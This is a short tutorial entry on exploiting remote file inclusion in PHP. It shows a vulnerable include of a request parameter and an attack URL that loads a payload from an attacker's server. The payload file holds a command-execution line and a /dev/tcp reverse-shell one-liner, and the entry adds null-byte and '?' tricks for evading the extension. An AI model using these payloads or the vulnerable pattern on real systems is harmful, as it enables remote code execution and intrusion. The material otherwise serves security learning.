Remote File Inclusion

Remote file inclusion uses pretty much the same vector as local file inclusion.

A remote file inclusion vulnerability lets the attacker execute a script on the target-machine even though it is not even hosted on that machine.

RFI's are less common than LFI. Because in order to get them to work the developer must have edited the `php.ini` configuration file.

This is how they work.

So you have an unsanitized parameter, like this

```
$incfile = $_REQUEST["file"];
include($incfile.".php");
```

Now what you can do is to include a file that is not hosted on the victim-server, but instead on the attackers server.

```
http://exampe.com/index.php?page=http://attackerserver.com/evil.txt
```

And evil.txt will look like something like this:

```
<?php echo shell_exec("whoami");?>

# Or just get a reverse shell directly like this:
<?php echo system("0<&196;exec 196<>/dev/tcp/10.11.0.191/443; sh <&196 >&196 2>&196"); ?>
```

So when the victim-server includes this file it will automatically execute the commands that are in the evil.txt file. And we have a RCE.

Avoid extentions

Remember to add the nullbyte `%00` to avoid appending `.php`. This will only work on php before version 5.3.

If it does not work you can also add a `?`, this way the rest will be interpreted as url parameters.